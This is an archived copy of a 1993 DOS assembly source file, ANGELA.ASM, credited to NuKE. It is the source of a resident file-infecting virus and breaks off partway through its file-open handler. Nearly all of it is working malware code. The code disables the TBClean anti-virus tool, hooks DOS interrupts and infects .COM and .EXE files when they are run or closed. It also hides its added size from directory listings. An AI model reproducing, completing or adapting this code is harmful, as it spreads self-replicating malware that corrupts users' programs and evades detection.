home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ANGELA.ASM < prev    next >
Assembly Source File  |  1993-07-20  |  46KB  |  842 lines

  1. ;===============================================================================
  2. ;
  3. ;       (c) 1993 by NuKE Computer Security Publications, Inc.
  4. ;           Developed by Rock Steady of NuKE Inc.
  5. ;
  6. ;       <ANGELA.ASM>
  7. ;
  8. virus_size      equ     last - init_virus               ;virus size (bytes)
  9.  
  10. seg_a           segment byte public
  11.                 assume  cs:seg_a,ds:seg_a
  12.  
  13.                 org     100h                            ;compile to .com
  14.  
  15. start:          jmp     init_virus
  16.  
  17. ;-------------------------------------------------------------------------------
  18. init_virus:     call    doit_now                        ;begin virus
  19.  
  20. doit_now:       pop     bp                              ;pop call offset
  21.                 sub     bp,offset doit_now              ;fix it with pointer
  22.  
  23.                 push    ax
  24.                 push    bx                              ;save the registers
  25.                 push    cx
  26.                 push    dx
  27.                 push    si
  28.                 push    ds
  29.  
  30.  
  31.                 mov     byte ptr cs:[tb_here][bp],00h
  32.                 xor     dx,dx                           ;dx=0
  33.                 mov     ds,dx                           ;ds=0
  34.                 mov     ax,word ptr ds:[0006h]          ;ax=0000:0006 segment of
  35.                                                         ; int 1h
  36.                 mov     ds,ax                           ;ds=segment of int 1
  37.                 mov     cx,0FFFFh                       ;cx=64k
  38.                 mov     si,dx                           ;si=0
  39.  
  40. look_4_tbclean: cmp     word ptr ds:[si],0A5F3h         ;look TBClean in memory
  41.                 je      check_it                        ;jmp if its TBClean
  42. look_again:     inc     si                              ;if not continue looking
  43.                 loop    look_4_tbclean
  44.                 jmp     not_found                       ;not found cont normal
  45.  
  46. check_it:       cmp     word ptr ds:[si+2],0C7FAh       ;check TBClean string
  47.                 jne     look_again                      ;jmp =! tbclean
  48.                 cmp     word ptr ds:[si+4],0006h        ;check TBClean string
  49.                 jne     look_again                      ;jmp =! tbclean
  50.                 cmp     word ptr ds:[si+10],020Eh       ;check TBClean string
  51.                 jne     look_again                      ;jmp =! tbclean
  52.                 cmp     word ptr ds:[si+12],0C700h      ;check TBClean string
  53.                 jne     look_again                      ;jmp =! tbclean
  54.                 cmp     word ptr ds:[si+14],0406h       ;check TBClean string
  55.                 jne     look_again                      ;jmp =! tbclean
  56.  
  57.                 mov     bx,word ptr ds:[si+17]          ;steal REAL int 1 offset
  58.                 mov     byte ptr ds:[bx],0CFh           ;replace with IRET
  59.  
  60.                 mov     bx,word ptr ds:[si+27]          ;steal REAL int 3 offset
  61.                 mov     byte ptr ds:[bx],0CFh           ;replece with IRET
  62.  
  63.                 mov     byte ptr cs:[tb_here][bp],01h   ;set the TB flag on
  64.  
  65.                 mov     bx,word ptr ds:[si+51h]         ;get 2nd segment of ints
  66.                 mov     word ptr cs:[tb_int2][bp],bx    ;vector table
  67.  
  68.                 mov     bx,word ptr ds:[si-5]           ;get offset of 1st copy
  69.                 mov     word ptr cs:[tb_ints][bp],bx    ;of vector table
  70.  
  71. not_found:      xor     dx,dx
  72.                 push    ds
  73.                 mov     ds,dx                           ;put that in ds
  74.                 les     si,dword ptr ds:[0084h]         ;get int21 vector
  75.                 mov     word ptr cs:[int21][bp],si      ;save int21 offset
  76.                 mov     word ptr cs:[int21+2][bp],es    ;save int21 segment
  77.  
  78.                 les     si,dword ptr ds:[0070h]         ;get int1c vector
  79.                 mov     word ptr cs:[int1c][bp],si      ;save int1c offset
  80.                 mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment
  81.  
  82.                 les     si,dword ptr ds:[004ch]         ;get int13 vector
  83.                 mov     word ptr cs:[int13][bp],si      ;save int13 offset
  84.                 mov     word ptr cs:[int13+2][bp],es    ;save int13 segment
  85.                 pop     ds
  86.  
  87.                 mov     byte ptr cs:[mcb][bp],00h       ;reset the TB mcb flag
  88.                 mov     ax,0abcdh                       ;test if virus is here?
  89.                 int     13h
  90.                 cmp     bx,0abcdh                       ;is it?
  91.                 jne     install_virus                   ;jmp, if not & install
  92. leave_mcb:      jmp     exit_mem                        ;yes, leave then
  93.  
  94. ;--------- Going Resident ------
  95.  
  96. steal_some:     mov     al,byte ptr cs:[mcb][bp]        ;if tb is here, steal
  97.                 cmp     al,0ffh                         ;memory from it!
  98.                 je      leave_mcb                       ;error? exit then
  99.                 inc     byte ptr cs:[mcb][bp]           ;inc flag
  100.                 cmp     al,01                           ;
  101.                 ja      mcb3_1
  102.  
  103. install_virus:  mov     ah,52h                          ;get the list of lists
  104.                 int     21h                             ;use dos
  105.                 mov     ax,es:[bx-2]                    ;get first mcb chain
  106.  
  107.                 mov     es,ax                           ;es=segment of 1st mcb
  108. mcb1:           cmp     byte ptr es:[0000h],'Z'         ;is it the last mcb
  109.                 jne     mcb2                            ;jmp if not
  110.                 clc                                     ;yes last mcb, CLC
  111.                 jmp     short mcbx                      ;outta here
  112.  
  113. mcb2:           cmp     byte ptr es:[0000h],'M'         ;is it in the chain
  114.                 je      mcb3                            ;jmp if yes
  115.                 stc                                     ;error, set carry flag
  116.                 jmp     short mcbx                      ;outta here
  117.  
  118. mcb3:           cmp     byte ptr cs:[mcb][bp],0         ;is TB flag off?
  119.                 je      mcb3_1                          ;if yes, then jmp
  120.                 mov     dx,ds                           ;else cmp TB ds
  121.                 sub     dx,10h                          ;ds-10
  122.                 cmp     word ptr es:[0001h],dx          ;cmp to mcb owner.
  123.                 je      mcbx_1
  124.  
  125. mcb3_1:         mov     ax,es                           ;ax=es
  126.                 add     ax,word ptr es:[0003h]          ;ax=es + next mcb
  127.                 inc     ax                              ;get mcb
  128.                 mov     es,ax                           ;es=ax:next mcb chain
  129.                 jmp     short mcb1                      ;goto first step
  130.  
  131. mcbx:           jc      leave_mcb                       ;if error, exit
  132. mcbx_1:         cmp     word ptr es:[0003],(virus_size/16) + 11h
  133.                 jb      steal_some
  134.                 mov     byte ptr es:[0000],'Z'          ;the last mcb chain!
  135.                 sub     word ptr es:[0003],(virus_size/16) + 11h
  136.                 add     ax,word ptr es:[0003h]          ;figure out segment
  137.                 inc     ax                              ;add 16 bytes
  138.                 mov     es,ax                           ;new segment in es
  139.                 mov     di,103h                         ;offset is 103h
  140.                 push    ds                              ;save TB ds location
  141.                 push    cs
  142.                 pop     ds                              ;virus cs=ds
  143.                 mov     si,offset init_virus            ;si=top of virus
  144.                 add     si,bp                           ;add delta
  145.                 mov     cx,virus_size                   ;move virus_size
  146.                 cld                                     ;clear direction flag
  147.                 repne   movsb                           ;do it Mr. Crunge
  148.  
  149.                 mov     ds,cx                           ;ds=0000
  150. hook_again:     cli                                     ;disable ints
  151.                 mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
  152.                 mov     word ptr ds:[0086h],es
  153.                 mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
  154.                 mov     word ptr ds:[0072h],es
  155.                 mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
  156.                 mov     word ptr ds:[004eh],es
  157.                 sti                                     ;enable ints
  158.  
  159.                 cmp     byte ptr cs:[tb_here][bp],00h   ;was TB found?
  160.                 je      go_on                           ;no, then jmp
  161.                 cmp     cl,01h                          ;is this the 2nd x here?
  162.                 je      go_on                           ;yes, then jmp
  163.                 mov     ds,word ptr cs:[tb_int2][bp]    ;get TB int segment
  164.                 inc     cl                              ;inc cl
  165.                 jmp     short hook_again                ;hook ints again
  166.  
  167. go_on:          pop     ds                              ;get TB code segment
  168.                 cmp     byte ptr cs:[tb_here][bp],01h   ;TB here?
  169.                 je      hook_tb_ints                    ;yes, then jmp
  170.                 jmp     exit_mem                        ;else exit
  171. hook_tb_ints:   mov     si,word ptr cs:[tb_ints][bp]    ;get TB int offset
  172.                 mov     word ptr ds:[si+84h],offset int21_handler
  173.                 mov     word ptr ds:[si+86h],es
  174.                 mov     word ptr ds:[si+70h],offset int1c_handler
  175.                 mov     word ptr ds:[si+72h],es
  176.                 mov     word ptr ds:[si+4ch],offset int13_handler
  177.                 mov     word ptr ds:[si+4eh],es
  178.  
  179. exit_mem:       cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
  180.                 je      exit_exe_file                   ;yupe exit exe file
  181.                 cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
  182.                 je      exit_exe_file                   ;yupe exit exe file
  183.                 push    cs                              ;fix cs=ds for .com
  184.                 pop     ds
  185.                 mov     bx,offset buffer                ;get first 3 bytes
  186.                 add     bx,bp                           ;fix delta
  187.                 mov     ax,[bx]                         ;move first 2 bytes
  188.                 mov     word ptr ds:[100h],ax           ;put em in the beginning
  189.                 inc     bx                              ;inc pointer
  190.                 inc     bx
  191.                 mov     al,[bx]                         ;get last of 3rd byte
  192.                 mov     byte ptr ds:[102h],al           ;put that in place
  193.                 pop     ds
  194.                 pop     si
  195.                 pop     dx
  196.                 pop     cx
  197.                 pop     bx
  198.                 pop     word ptr cs:[ax_reg][bp]        ;save ax else where
  199.                 mov     ax,100h
  200.                 push    ax                              ;fake a CALL & RETN
  201.                 mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
  202.                 retn                                    ;link to 100h
  203.  
  204. exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
  205.                 add     dx,10h                          ;add 16bytes to seg
  206.                 pop     ds
  207.                 pop     si
  208.                 pop     word ptr cs:[ax_reg][bp]
  209.                 pop     cx
  210.                 pop     bx
  211.                 pop     ax
  212.                 add     word ptr cs:[buffer+22][bp],dx  ;fix segments
  213.                 add     dx,word ptr cs:[buffer+14][bp]
  214.                 cli
  215.                 mov     ss,dx                           ;restore ss
  216.                 mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
  217.                 sti
  218.                 mov     dx,word ptr cs:[ax_reg][bp]
  219.                 jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.
  220.  
  221. mcb             db      0
  222. ax_reg          dd      0
  223. int13           dd      0
  224. int1c           dd      0
  225. int21           dd      0
  226. tb_ints         dd      0
  227. tb_here         db      0
  228. tb_int2         dd      0
  229.  
  230. ;===============================================================================
  231. ;                       Int 13h Handler
  232. ;===============================================================================
  233. int13_handler:
  234.                 cmp     ax,0abcdh                       ;virus test
  235.                 je      int13_test                      ;yupe
  236.  
  237. int13call:      jmp     dword ptr cs:[int13]            ;original int13
  238.  
  239. int13_test:     mov     bx,ax                           ;fix
  240.                 iret
  241. ;===============================================================================
  242. ;                       Int 1Ch Handler
  243. ;===============================================================================
  244. int1c_handler:
  245.                 iret
  246. ;-------------------------------------------------------------------------------
  247. ;                       FCB Dir Stealth Routine (File Find)
  248. ;-------------------------------------------------------------------------------
  249. fcb_dir:        call    calldos21                       ;get the fcb block
  250.                 test    al,al                           ;test for error
  251.                 jnz     fcb_out                         ;jmp if error
  252.                 push    ax                              ;save registers
  253.                 push    bx
  254.                 push    cx
  255.                 push    es
  256.                 mov     ah,51h                          ;get current psp
  257.                 call    calldos21                       ;call int21
  258.  
  259.                 mov     es,bx                           ;es=segment of psp
  260.                 cmp     bx,es:[16h]                     ;psp of command.com?
  261.                 jnz     fcb_out1                        ;no, then jmp
  262.                 mov     bx,dx                           ;ds:bx=fcb
  263.                 mov     al,[bx]                         ;1st byte of fcb
  264.                 push    ax                              ;save it
  265.                 mov     ah,2fh                          ;get dta
  266.                 call    calldos21                       ;es:bx <- dta
  267.  
  268.                 pop     ax                              ;get first byte
  269.                 inc     al                              ;al=ffh therefor al=ZR
  270.                 jnz     fcb_old                         ;if != ZR jmp
  271.                 add     bx,7h                           ;extended fcb here, +7
  272. fcb_old:        mov     ax,es:[bx+17h]                  ;get file time stamp
  273.                 mov     cx,es:[bx+19h]                  ;get file date stamp
  274.                 and     ax,1fh                          ;unmask seconds field
  275.                 and     cx,1fh                          ;unmask day of month
  276.                 xor     ax,cx                           ;are they equal?
  277.                 jnz     fcb_out1                        ;nope, exit then
  278.                 sub     word ptr es:[bx+1dh],virus_size ;sub away virus_size
  279.                 sbb     word ptr es:[bx+1fh],0          ;sub with carry flag
  280.  
  281. fcb_out1:       pop     es                              ;restore registers
  282.                 pop     cx
  283.                 pop     bx
  284.                 pop     ax
  285. fcb_out:        iret                                    ;return control
  286. ;-------------------------------------------------------------------------------
  287. ;                       ASCIIZ Dir Stealth Routine (File Find)
  288. ;-------------------------------------------------------------------------------
  289. dta_dir:        call    calldos21                       ;get results to dta
  290.                 jb      dta_out                         ;if error, split
  291.                 push    ax                              ;save register
  292.                 push    bx
  293.                 push    cx
  294.                 push    es
  295.                 mov     ah,2fh                          ;get current dta
  296.                 call    calldos21                       ;es:bx <- dta
  297.  
  298.                 mov     ax,es:[bx+16h]                  ;get file time stamp
  299.                 mov     cx,es:[bx+18h]                  ;get file date stamp
  300.                 and     ax,1fh                          ;unmask seconds field
  301.                 and     cx,1fh                          ;unmask day of month
  302.                 xor     ax,cx                           ;are they equal
  303.                 jnz     dta_out1                        ;nope, exit then
  304.                 sub     word ptr es:[bx+1ah],virus_size ;sub away virus_size
  305.                 sbb     word ptr es:[bx+1ch],0          ;sub with carry flag
  306.  
  307. dta_out1:       pop     es                              ;restore registers
  308.                 pop     cx
  309.                 pop     bx
  310.                 pop     ax
  311. dta_out:        retf    0002h                           ;pop 2 words of stack
  312. ;===============================================================================
  313. ;                       Int 21h Handler
  314. ;===============================================================================
  315. int21_handler:
  316. ;                cmp     ah,11h                          ;FCB find first match
  317. ;                je      old_dir
  318. ;                cmp     ah,12h                          ;FCB find next match
  319. ;                je      old_dir
  320.                 cmp     ah,4eh                          ;Find first match
  321.                 je      new_dir
  322.                 cmp     ah,4fh                          ;Find next match
  323.                 je      new_dir
  324.                 cmp     ah,3dh                          ;Opening a file
  325.                 je      file_open
  326.                 cmp     ah,6ch                          ;Ext_opening a file
  327.                 je      file_ext_open
  328.                 cmp     ah,3eh                          ;closing a file
  329.                 je      file_close
  330.                 cmp     ah,4bh                          ;Execution of a file
  331.                 je      file_execute
  332.  
  333. int21call:      jmp     dword ptr cs:[int21]            ;original int21
  334.  
  335. old_dir:        jmp     fcb_dir                         ;fcb file find
  336.  
  337. new_dir:        jmp     dta_dir                         ;new asciiz file find
  338.  
  339. file_open:      jmp     open_file                       ;disinfect opening file
  340.  
  341. file_ext_open:  jmp     open_ext_file                   ;disinfect opening file
  342.  
  343. file_close:     jmp     close_file                      ;infect closing file
  344.  
  345. file_execute:   call    check_extension                 ;check for ok ext
  346.                 cmp     byte ptr cs:[com_ext],1         ;is it a com?
  347.                 je      exec_disinfect                  ;yupe disinfect it
  348.                 cmp     byte ptr cs:[exe_ext],1         ;is it a exe?
  349.                 je      exec_disinfect                  ;yupe disinfect it
  350.                 jmp     SHORT int21call
  351.  
  352. exec_disinfect: call    exec_disinfect1                 ;Disinfect file
  353.  
  354.                 mov     word ptr cs:[ax_reg],dx
  355.                 pushf                                   ;fake an int
  356.                 call    dword ptr cs:[int21]            ;call dos
  357.                 xchg    word ptr cs:[ax_reg],dx         ;restore dx
  358.  
  359.                 mov     byte ptr cs:[close],0           ;reset flag..
  360.                 push    ax                              ;store 'em
  361.                 push    bx
  362.                 push    cx
  363.                 push    dx
  364.                 push    si
  365.                 push    di
  366.                 push    es
  367.                 push    ds
  368. closing_infect: mov     ax,3524h                        ;get error handler
  369.                 call    calldos21                       ;call dos
  370.  
  371.                 push    es                              ;save es:bx= int_24
  372.                 push    bx                              ;error handler
  373.                 push    ds                              ;ds:dx= asciiz string
  374.                 push    dx
  375.                 push    cs                              ;cs=ds
  376.                 pop     ds
  377.                 mov     dx,offset int21_handler         ;hook error handler
  378.                 mov     ax,2524h                        ;with our int24h
  379.                 call    calldos21
  380.                 pop     dx                              ;restore ds:dx asciiz
  381.                 pop     ds                              ;string
  382.  
  383.                 cmp     byte ptr cs:[close],0           ;Are we closing file?
  384.                 je      exec_get_att                    ;nope, then jmp
  385.                 mov     ax,word ptr cs:[handle]         ;yupe, ax=file handle
  386.                 jmp     exec_open_ok                    ;jmp so you don't open
  387.                                                         ;the file twice...
  388. exec_get_att:   mov     ax,4300h                        ;get file attribs
  389.                 call    calldos21                       ;call dos
  390.                 jnc     exec_attrib                     ;no, error jmp
  391.                 jmp     exec_exit2                      ;ERROR - split
  392.  
  393. exec_attrib:    mov     byte ptr cs:[attrib],cl
  394.                 test    cl,1                            ;check bit 0 (read_only)
  395.                 jz      exec_attrib_ok                  ;if bit0=0 jmp
  396.                 dec     cx                              ;else turn of bit_0
  397.                 mov     ax,4301h                        ;write new attribs
  398.                 call    calldos21                       ;call dos
  399.  
  400. exec_attrib_ok: mov     ax,3d02h                        ;open file for r/w
  401.                 call    calldos21                       ;call dos
  402.                 jnc     exec_open_ok                    ;ok, no error jmp
  403.                 jmp     exec_exit2                      ;ERROR - split
  404.  
  405. exec_open_ok:   xchg    bx,ax                           ;bx=file handler
  406.                 push    cs                              ;cs=ds
  407.                 pop     ds
  408.                 mov     ax,5700h                        ;get file time/date
  409.                 call    calldos21                       ;call dos
  410.  
  411.                 mov     word ptr cs:[old_time],cx       ;save file time
  412.                 mov     word ptr cs:[org_time],cx
  413.                 mov     word ptr cs:[old_date],dx       ;save file date
  414.                 and     cx,1fh                          ;unmask second field
  415.                 and     dx,1fh                          ;unmask date field
  416.                 xor     cx,dx                           ;are they equal?
  417.                 jnz     exec_time_ok                    ;nope, file not infected
  418.                 jmp     exec_exit3                      ;FILE INFECTED
  419.  
  420. exec_time_ok:   and     word ptr cs:[old_time],0ffe0h   ;reset second bits
  421.                 or      word ptr cs:[old_time],dx       ;seconds=day of month
  422.  
  423.                 mov     ax,4200h                        ;reset ptr to beginning
  424.                 xor     cx,cx                           ;(as opened files may
  425.                 xor     dx,dx                           ; have ptr anywhere,
  426.                 call    calldos21                       ; so be smart!)
  427.  
  428.                 mov     word ptr cs:[marker],0DBDBh     ;File Infection marker
  429.                 mov     dx,offset ds:[buffer]           ;ds:dx buffer
  430.                 mov     cx,18h                          ;read 18h bytes
  431.                 mov     ah,3fh                          ;read from handle
  432.                 call    calldos21                       ;call dos
  433.  
  434.                 jc      exec_exit1                      ;error? if yes jmp
  435.                 sub     cx,ax                           ;did we read 18h bytes?
  436.                 jnz     exec_exit1                      ;if no exit
  437.                 mov     dx,cx                           ;cx=0 dx=0
  438.                 mov     ax,4202h                        ;jmp to EOF
  439.                 call    calldos21                       ;call dos
  440.  
  441.                 jc      exec_exit1                      ;error? exit if so.
  442.                 mov     word ptr cs:[filesize+2],ax     ;save lower 16bit fileSz
  443.                 mov     word ptr cs:[filesize],dx       ;save upper 16bit fileSz
  444.                 call    chkbuf                          ;check if .exe
  445.                 jz      exec_cool                       ;jmp if .exe file
  446.                 cmp     ax,0FFF0h - virus_size          ;64k-256-virus < 64k?
  447.                 jb      exec_cool                       ;if less jmp!
  448.  
  449. exec_exit1:     jmp     exec_exit3                      ;exit!
  450.  
  451. ;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
  452. ;                       Mutate and infect
  453. ;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
  454.  
  455. exec_cool:      mov     dx,offset init_virus            ;ds:dx=virus beginning
  456.                 mov     cx,virus_size                   ;cx=virus size
  457.                 mov     ah,40h                          ;write to handle
  458.                 call    calldos21                       ;call dos
  459.  
  460.                 jc      exec_exit1                      ;error? if yes exit
  461.                 sub     cx,ax                           ;cx=ax bytes?
  462.                 jnz     exec_exit1                      ;not equal exit
  463.                 mov     dx,cx                           ;cx=0 dx=0
  464.                 mov     ax,4200h                        ;jmp to top of file
  465.                 call    calldos21                       ;call dos
  466.  
  467.                 jc      exec_exit1                      ;error, then exit
  468.                 mov     ax,word ptr cs:[filesize+2]     ;ax=lower 16bit fileSize
  469.                 call    chkbuf                          ;check if .exe
  470.                 jnz     exec_com_file                   ;if !=.exe jmp
  471.                 mov     dx,word ptr cs:[filesize]       ;get upper 16bit
  472.  
  473.                 mov     cx,4                            ;cx=0004
  474.                 mov     si,word ptr cs:[buffer+8]       ;get exe header size
  475.                 shl     si,cl                           ;mul by 16
  476.                 sub     ax,si                           ;exe_header - filesize
  477.                 sbb     dx,0h                           ;sub with carry
  478.  
  479.                 mov     cx,10h                          ;cx=0010
  480.                 div     cx                              ;ax=length in para
  481.                                                         ;dx=remaider
  482.                 mov     word ptr cs:[buffer+20],dx      ;New IP offset address
  483.                 mov     word ptr cs:[buffer+22],ax      ;New CS (In paragraphs)
  484.                 add     dx,virus_size+100h              ;Dx=virus_size+256
  485.  
  486.                 mov     word ptr cs:[buffer+16],dx      ;New SP entry
  487.                 mov     word ptr cs:[buffer+14],ax      ;New SS (in para)
  488.                 add     word ptr cs:[buffer+10],(virus_size)/16+1   ;min para
  489.                 mov     ax,word ptr cs:[buffer+10]      ;ax=min para needed
  490.                 cmp     ax,word ptr cs:[buffer+12]      ;cmp with max para
  491.                 jb      exec_size_ok                    ;jmp if ok!
  492.                 mov     word ptr cs:[buffer+12],ax      ;nop, enter new max
  493.  
  494. exec_size_ok:   mov     ax,word ptr cs:[buffer+2]       ;ax=file size
  495.                 add     ax,virus_size                   ;add virus to it
  496.                 push    ax                              ;push it
  497.                 and     ah,1                            ;
  498.                 mov     word ptr cs:[buffer+2],ax       ;restore new value
  499.                 pop     ax                              ;pop ax
  500.                 mov     cl,9                            ;
  501.                 shr     ax,cl                           ;
  502.                 add     word ptr cs:[buffer+4],ax       ;enter fileSz + header
  503.                 mov     dx,offset buffer                ;ds:dx=new exe header
  504.                 mov     cx,18h                          ;cx=18h bytes to write
  505.                 jmp     SHORT exec_write_it             ;jmp...
  506.  
  507. exec_com_file:  sub     ax,3                            ;sub 3 for jmp address
  508.                 mov     word ptr cs:[buffer+1],ax       ;store new jmp value
  509.                 mov     byte ptr cs:[buffer],0E9h       ;E9h=JMP
  510.                 mov     dx,offset buffer                ;ds:dx=buffer
  511.                 mov     cx,3                            ;cx=3 bytes
  512.  
  513. exec_write_it:  mov     ah,40h                          ;write to file handle
  514.                 call    calldos21                       ;call dos
  515.  
  516.                 mov     dx,word ptr cs:[old_date]       ;restore old date
  517.                 mov     cx,word ptr cs:[old_time]       ;restore old time
  518.                 mov     ax,5701h                        ;write back to file
  519.                 call    calldos21                       ;call dos
  520.  
  521. exec_exit3:     mov     ah,3eh                          ;close file
  522.                 call    calldos21                       ;call dos
  523.  
  524. exec_exit2:     pop     dx                              ;restore es:bx (the
  525.                 pop     ds                              ;original int_24)
  526.                 mov     ax,2524h                        ;put back to place
  527.                 call    calldos21                       ;call dos
  528.  
  529.                 pop     ds
  530.                 pop     es
  531.                 pop     di                              ;pop registers
  532.                 pop     si
  533.                 pop     dx
  534.                 xor     cx,cx
  535.                 mov     cl,byte ptr cs:[attrib]         ;get old file attrib
  536.                 mov     ax,4301h                        ;put them back
  537.                 call    calldos21                       ;call dos
  538.                 pop     cx
  539.                 pop     bx
  540.                 pop     ax
  541.  
  542.                 cmp     byte ptr cs:[close],0           ;get called by exec?
  543.                 je      exec_good_bye                   ;yep, then jmp
  544.                 iret                                    ;else exit now.
  545.  
  546. exec_good_bye:  mov     dx,word ptr cs:[ax_reg]         ;restore dx
  547.                 iret                                    ;iret
  548. ;-------------------------------------------------------------------------------
  549. ;                       Close File Int21h/ah=3Eh
  550. ;-------------------------------------------------------------------------------
  551. close_file:     cmp     bx,4h                           ;file handler > 4?
  552.                 ja      close_cont                      ;jmp if above
  553.                 jmp     int21call                       ;else exit
  554.  
  555. close_cont:     push    ax                              ;save 'em
  556.                 push    bx
  557.                 push    cx
  558.                 push    dx
  559.                 push    si
  560.                 push    di
  561.                 push    es
  562.                 push    ds
  563.  
  564.                 push    bx                              ;save file handler
  565.                 mov     ax,1220h                        ;get job file table!
  566.                 int     2fh                             ;call multiplex
  567.                                                         ;es:di=JFT for handler
  568.                 mov     ax,1216h                        ;get system file table
  569.                 mov     bl,es:[di]                      ;bl=SFT entry
  570.                 int     2fh                             ;call multiplex
  571.                 pop     bx                              ;save file handler
  572.  
  573.                 add     di,0011h
  574.                 mov     byte ptr es:[di-0fh],02h        ;set to read/write
  575.  
  576.                 add     di,0017h
  577.                 cmp     word ptr es:[di],'OC'           ;check for .COM file
  578.                 jne     closing_next_try                ;no try next ext
  579.                 cmp     byte ptr es:[di+2h],'M'         ;check last letter
  580.                 je      closing_cunt3                   ;no, file no good, exit
  581.  
  582. closing_exit:   jmp     closing_nogood                  ;exit
  583.  
  584. closing_next_try:
  585.                 cmp     word ptr es:[di],'XE'           ;check for .EXE file
  586.                 jne     closing_exit                    ;no, exit
  587.                 cmp     byte ptr es:[di+2h],'E'         ;check last letter
  588.                 jne     closing_exit                    ;no, exit
  589.  
  590. closing_cunt3:  mov     byte ptr cs:[close],1           ;set closing flag
  591.                 mov     word ptr cs:[handle],bx         ;save handler
  592.                 jmp     closing_infect                  ;infect file!
  593.  
  594. closing_nogood: pop     ds                              ;restore 'em
  595.                 pop     es
  596.                 pop     di
  597.                 pop     si
  598.                 pop     dx
  599.                 pop     cx
  600.                 pop     bx
  601.                 pop     ax
  602.                 jmp     int21call                       ;good bye, baby...
  603. ;-------------------------------------------------------------------------------
  604. ;               Execute Disinfecting routine
  605. ;-------------------------------------------------------------------------------
  606. exec_disinfect1         PROC
  607.                 push    ax                              ;save registers
  608.                 push    bx
  609.                 push    cx
  610.                 push    dx
  611.                 push    ds
  612.  
  613.                 mov     ax,4300h                        ;get file attribs
  614.                 call    calldos21                       ;call dos
  615.  
  616.                 test    cl,1h                           ;is Read-only flag?
  617.                 jz      okay_dis                        ;no, jmp attribs ok
  618.                 dec     cx                              ;turn off bit 0
  619.                 mov     ax,4301h                        ;write new attribs
  620.                 call    calldos21                       ;call dos
  621.                 jnc     okay_dis                        ;No error? then jmp
  622.                 jmp     end_dis                         ;error? exit!
  623.  
  624. okay_dis:       mov     ax,3d02h                        ;open file for r/w
  625.                 call    calldos21                       ;call dos
  626.                 jnc     dis_fileopen                    ;No error? then jmp
  627.                 jmp     end_dis                         ;Error? exit!
  628.  
  629. dis_fileopen:   xchg    bx,ax                           ;bx=file handle
  630.                 mov     ax,5700h                        ;get file time/date
  631.                 call    calldos21                       ;call dos
  632.  
  633.                 mov     word ptr cs:[old_time],cx       ;save file time
  634.                 mov     word ptr cs:[old_date],dx       ;save file date
  635.                 and     cx,1fh                          ;unmask second field
  636.                 and     dx,1fh                          ;unmask date field
  637.                 xor     cx,dx                           ;are they equal?
  638.                 jnz     half_way                        ;nope, file not infected
  639.  
  640.                 mov     ax,4202h                        ;jmp to EOF
  641.                 xor     cx,cx                           ;cx=0
  642.                 xor     dx,dx                           ;dx=0
  643.                 call    calldos21                       ;call dos
  644.  
  645.                 push    cs                              ;cs=ds
  646.                 pop     ds                              ;
  647.                 mov     cx,dx                           ;dx:ax=file size
  648.                 mov     dx,ax                           ;save to cx:dx
  649.                 push    cx                              ;save upper fileSz
  650.                 push    dx                              ;save lower fileSz
  651.  
  652.                 sub     dx,1Ch                          ;filesize-1C=origin byte
  653.                 sbb     cx,0                            ;sub with carry
  654.                 mov     ax,4200h                        ;position ptr
  655.                 call    calldos21                       ;call dos
  656.  
  657.                 mov     ah,3fh                          ;open file
  658.                 mov     cx,1Ch                          ;read last 1Ch bytes
  659.                 mov     dx,offset org_time              ;put in ds:dx
  660.                 call    calldos21                       ;call dos
  661.                 call    chkbuf                          ;Did it work?
  662.                 je      half                            ;Yes,Jmp
  663.                 cmp     word ptr ds:[marker],0DBDBh     ;File REALLY Infected?
  664.                 je      half                            ;Yes, then jmp
  665.  
  666.                 pop     dx
  667.                 pop     cx
  668. half_way:       jmp     end_dis1                        ;exit, error!
  669.  
  670. half:           xor     cx,cx                           ;cx=0
  671.                 xor     dx,dx                           ;dx=0
  672.                 mov     ax,4200h                        ;pointer to top of file
  673.                 call    calldos21                       ;call dos
  674.  
  675.                 mov     ah,40h                          ;write function
  676.                 mov     dx,offset buffer                ;ds:dx=buffer
  677.                 mov     cx,18h                          ;cx=18h bytes to write
  678.                 call    chkbuf                          ;check if .exe?
  679.                 jz      SHORT dis_exe_jmp               ;yupe, jmp
  680.                 mov     cx,3h                           ;else write 3 bytes
  681. dis_exe_jmp:    call    calldos21                       ;call dos
  682.  
  683.                 pop     dx                              ;pop original fileSz
  684.                 pop     cx
  685.  
  686.                 sub     dx,virus_size                   ;Sub with virus_size
  687.                 sbb     cx,0                            ;sub with carry
  688.                 mov     ax,4200h                        ;ptr top of virus
  689.                 call    calldos21                       ;call dos
  690.  
  691.                 mov     ah,40h                          ;write function
  692.                 xor     cx,cx                           ;write 0 bytes
  693.                 call    calldos21                       ;call dos! (new EOF)
  694.  
  695.                 mov     cx,word ptr ds:[org_time]       ;get original time
  696.                 mov     dx,word ptr ds:[old_date]       ;get original date
  697.                 mov     ax,5701h                        ;put back to file
  698.                 call    calldos21                       ;call dos
  699.  
  700. end_dis1:       mov     ah,3eh                          ;close file handle
  701.                 call    calldos21                       ;call dos
  702.  
  703. end_dis:        pop     ds                              ;restore values
  704.                 pop     dx
  705.                 pop     cx
  706.                 pop     bx
  707.                 pop     ax
  708.                 ret
  709. exec_disinfect1         ENDP
  710. ;-------------------------------------------------------------------------------
  711. ;                       Open File by DOS Int21h/ah=6ch
  712. ;-------------------------------------------------------------------------------
  713. open_ext_file:  push    dx                              ;save DX
  714.                 mov     dx,si                           ;asciiz=DS:DX now
  715.                 jmp     open_ext                        ;jmp
  716. ;-------------------------------------------------------------------------------
  717. ;                       Open File by DOS Int21h/ah=3Dh
  718. ;-------------------------------------------------------------------------------
  719. open_file:      push    dx                              ;save dx (asciiz)
  720. open_ext:       call    check_extension                 ;check extension
